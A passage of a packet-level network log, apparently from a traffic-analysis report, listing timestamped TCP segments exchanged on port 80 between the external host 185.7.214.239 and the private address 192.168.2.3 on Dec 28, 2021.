Dec 28, 2021 05:19:45.435919046 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435935974 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435957909 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435985088 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436001062 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436011076 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436041117 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436052084 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436079979 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436096907 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436120033 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436135054 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436160088 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436187029 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436199903 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436216116 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436242104 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436259031 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436280012 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436291933 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436319113 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436335087 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436358929 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436383963 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436398029 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436424971 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436439991 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436479092 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436502934 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436518908 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436536074 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436558008 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436578035 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436599016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436621904 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436638117 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436661005 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436678886 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436706066 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436719894 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436744928 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436760902 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436780930 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436799049 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436825037 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436839104 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436865091 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436907053 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436929941 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436948061 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.436979055 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.436988115 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437006950 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437028885 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437066078 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437089920 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437104940 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437129974 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437144995 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437172890 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437182903 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437210083 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437223911 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437251091 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437263966 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437280893 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437313080 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437329054 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437354088 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437378883 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437391996 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437418938 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437433004 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437457085 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437470913 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437495947 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437510014 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437526941 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437549114 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437575102 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437587976 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437612057 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437629938 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437647104 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437670946 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437705994 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437710047 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437741041 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437748909 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437762976 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437791109 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437819958 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437829971 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437855005 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437871933 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437912941 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437926054 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.437952995 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.437994003 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438009024 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438030958 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438045025 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438071012 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438086987 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438111067 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438123941 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438149929 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438174009 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438189983 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438222885 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438229084 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438242912 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438271046 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438298941 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438312054 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438327074 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438349009 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438374996 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438390017 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438414097 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438427925 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438446999 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438468933 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438498974 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438509941 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438544989 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438553095 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438575983 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438595057 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438622952 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438637018 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438667059 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438678980 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438719988 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438750029 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438759089 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438776970 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438787937 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438800097 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438834906 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438852072 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438863993 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438874960 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438910961 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438920021 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438954115 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.438961983 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.438981056 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439002037 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439029932 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439043045 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439079046 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439081907 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439100027 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439125061 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439156055 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439167023 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439182043 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439204931 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439222097 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439245939 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439268112 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439285994 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439296961 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439326048 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439342022 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439372063 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439393997 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439412117 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439424992 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439451933 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439467907 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439491034 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439503908 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439529896 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439553976 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439572096 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439580917 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439611912 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439625978 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439650059 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439682007 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439694881 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439709902 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439735889 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439750910 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439775944 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439790964 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439816952 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439840078 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439853907 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439879894 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439893007 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439905882 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439933062 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439949036 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.439970016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.439996958 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440009117 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440023899 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440047979 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440066099 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440087080 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440109968 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440129042 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440145969 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440165997 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440186024 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440206051 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440222025 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440247059 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440272093 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440284014 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440299988 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440325022 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440349102 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440363884 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440378904 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440402985 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440419912 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440443039 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440468073 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440479994 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440505028 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440519094 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440558910 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440582991 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440594912 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440622091 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440634012 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440660954 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440673113 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440700054 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440712929 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440742016 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440752983 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440789938 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440828085 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440886021 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440907955 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440921068 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440927029 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.440927982 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440953970 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.440963984 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441004038 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441020012 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441029072 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441042900 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441082001 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441107035 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441123009 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441148996 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441159964 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441193104 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441198111 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441236019 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441237926 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441250086 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441276073 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441313028 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441315889 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441330910 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441354036 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441382885 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441395044 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441418886 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441433907 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441472054 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441490889 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441509962 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441535950 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441550016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441564083 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441586971 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441613913 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441627026 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441631079 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441667080 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441699028 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441706896 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441724062 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441747904 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441759109 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441787958 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441803932 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441827059 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441836119 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441865921 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.441883087 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.441919088 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.486857891 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.501604080 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501707077 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.501730919 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501773119 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501811981 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501831055 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.501851082 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501868010 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.501892090 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501919031 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.501935005 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501974106 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.501976013 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.501986980 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502015114 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502028942 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502054930 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502072096 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502093077 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502132893 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502147913 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502172947 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502202988 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502233028 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502264023 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502285004 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502302885 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502307892 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502341032 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502342939 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502367020 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502382040 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502393007 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502424955 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502465963 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502479076 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502506018 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502545118 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502567053 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502583027 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502623081 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502638102 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502661943 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502670050 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502705097 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502747059 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502773046 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502784967 CET	80	49850	185.7.214.239	192.168.2.3
